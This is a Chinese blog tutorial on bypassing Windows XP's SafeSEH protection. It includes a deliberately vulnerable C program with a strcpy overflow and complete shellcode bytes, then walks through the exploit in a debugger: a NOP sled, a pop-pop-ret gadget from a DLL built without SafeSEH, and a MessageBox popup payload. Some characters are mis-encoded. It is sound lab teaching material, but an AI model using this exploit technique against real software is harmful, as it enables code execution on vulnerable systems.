繞過(guò)SafeSEHS機(jī)制第一招

作者:黑蛋

1.簡(jiǎn)述

在 Windows XP SP2 及后續(xù)版本的操作系統(tǒng)中,微軟引入了 S.E.H 校驗(yàn)機(jī)制SafeSEH。SafeSEH 的原理很簡(jiǎn)單,在程序調(diào)用異常處理函數(shù)前,對(duì)要調(diào)用的異常處理函數(shù)進(jìn)行一系列的有效性校驗(yàn),當(dāng)發(fā)現(xiàn)異常處理函數(shù)不可靠時(shí)將終止異常處理函數(shù)的調(diào)用。如果我們采用緩沖區(qū)溢出淹沒(méi)SEH處理函數(shù),讓SEH處理函數(shù)直接指向我們棧中的shellcode,會(huì)被SafeSEH發(fā)現(xiàn),并拒絕執(zhí)行此處理函數(shù)。針對(duì)此保護(hù)機(jī)制,有一招是通過(guò)一個(gè)未開(kāi)啟SafeSEH模塊中的跳板指令地址替換SEH處理函數(shù)地址,再間接返回棧中shellcode運(yùn)行流程。本次實(shí)驗(yàn)就是運(yùn)用此方法,參考《0day安全》中的部分資料。

2.環(huán)境配置

環(huán)境

配置

操作系統(tǒng)

Windows XP

編譯器

VS2008

調(diào)試工具

OD

項(xiàng)目配置

realse版本+關(guān)閉DEP保護(hù)

3.代碼展示

#include “stdafx.h”

#include

#include

char shellcode[]=

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x12\x10\x12\x11”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C”

“\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53”

“\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B”

“\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95”

“\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59”

“\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A”

“\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75”

“\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03”

“\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB”

“\x53\x68\x66\x66\x66\x66\x68\x66\x66\x66\x66\x8B\xC4\x53\x50\x50”

“\x53\xFF\x57\xFC\x53\xFF\x57\xF8”;

char shellcode2[]=“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x00”;

DWORD MyException(void)

{

printf(“There is an exception”);

getchar();

return 1;

}

void test(char * input)

{

char str[200];

strcpy(str,input);

int zero=0;

__try

{

zero=1/zero;

}

__except(MyException())

{

}

}

int _tmain(int argc, _TCHAR* argv[])

{

HINSTANCE hInst = LoadLibrary(_T(“SEH_NOSafeSEH_JUMP.dll”));

char str[200];

test(shellcode2);

return 0;

}

同樣有倆段字符串,第一個(gè)是精心制作的shellcode,第二段字符串是正常字符串,供我們第一次分析程序棧中情況,同時(shí)這里需要一個(gè)未開(kāi)啟SafeSEH的模塊,進(jìn)行加載,在里面尋找跳板指令(pop * pop * ret,至于原因?qū)⒃诤罄m(xù)講解)。我自己生成的exe以及未開(kāi)啟保護(hù)的dll

4.程序分析

傳入正常字符串shellcode2,生成exe拖入x32dbg,F(xiàn)9運(yùn)行到自己模塊領(lǐng)空,進(jìn)入call下面第一個(gè)跳轉(zhuǎn):


找主函數(shù)入口:


進(jìn)入主函數(shù),第一個(gè)call是加載未開(kāi)啟SafeSEH模塊的函數(shù),之后壓入shellcode2地址,進(jìn)入第二個(gè)call,即test函數(shù):


通過(guò)分析匯編代碼,發(fā)現(xiàn)jne是循環(huán)拷貝命令,我們運(yùn)行到j(luò)ne之后,觀察棧中情況:


箭頭指向位置0012FDB8是buf起始位置


箭頭指向位置0012FE94是SEH處理函數(shù),所以我們需要在0012FE94-0012FDB8字節(jié)的位置放置我們的跳轉(zhuǎn)指令,結(jié)束此次調(diào)試,把我們自己的沒(méi)開(kāi)啟SafeSEHS的模塊拖入x32dbg,找一個(gè)pop,pop,ret的位置,也可以通過(guò)代碼按照硬編碼尋找,我采用直接拖入x32dbg中尋找:


F9運(yùn)行到自己領(lǐng)空,向上查找很輕易找到一個(gè)符合要求的位置11121012,接下來(lái)傳入shellcode(已經(jīng)提前構(gòu)造好)

char shellcode[]=

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x12\x10\x12\x11”

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C”

“\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53”

“\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B”

“\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95”

“\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59”

“\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A”

“\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75”

“\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03”

“\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB”

“\x53\x68\x66\x66\x66\x66\x68\x66\x66\x66\x66\x8B\xC4\x53\x50\x50”

“\x53\xFF\x57\xFC\x53\xFF\x57\xF8”;

前面是一堆滑板指令,在SEH處理函數(shù)的位置放入我們找到的跳板指令位置,之后是我們的彈窗shellcode,至于為何把彈窗shellcode放到最后面,是因?yàn)樵谶\(yùn)行異常處理函數(shù)途中會(huì)改變EBP-4的地方的值,為了保護(hù)shellcode,把他放在下面,重新生成程序,拖入x32dbg,直接F9,F(xiàn)9運(yùn)行到除零異常的地方:


可以清晰的看到SEH處理函數(shù)位置已經(jīng)是我們跳板指令的地方,我們?cè)谶@里跳轉(zhuǎn)到跳板指令下斷點(diǎn):


之后F9繼續(xù)運(yùn)行,斷在跳板指令這邊,觀察堆棧情況:


發(fā)現(xiàn)ESP和ESP-4是兩個(gè)垃圾參數(shù),我們需要彈出他們,這也就是為什么要尋找pop,pop,ret的原因,而ESP+4指向我們shellcode上方,繼續(xù)運(yùn)行到ret之后:


已經(jīng)進(jìn)入我們shellcode里面,繼續(xù)運(yùn)行,彈窗:


5.結(jié)束

以上就是在編譯器默認(rèn)開(kāi)啟SafeSEH的情況下,借助沒(méi)有開(kāi)啟SafeSEH模塊中的跳板指令,成功通過(guò)淹沒(méi)SEH處理函數(shù),讓程序流程到我們彈窗shellcode的位置,到達(dá)我們的目的,彈個(gè)小框框。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容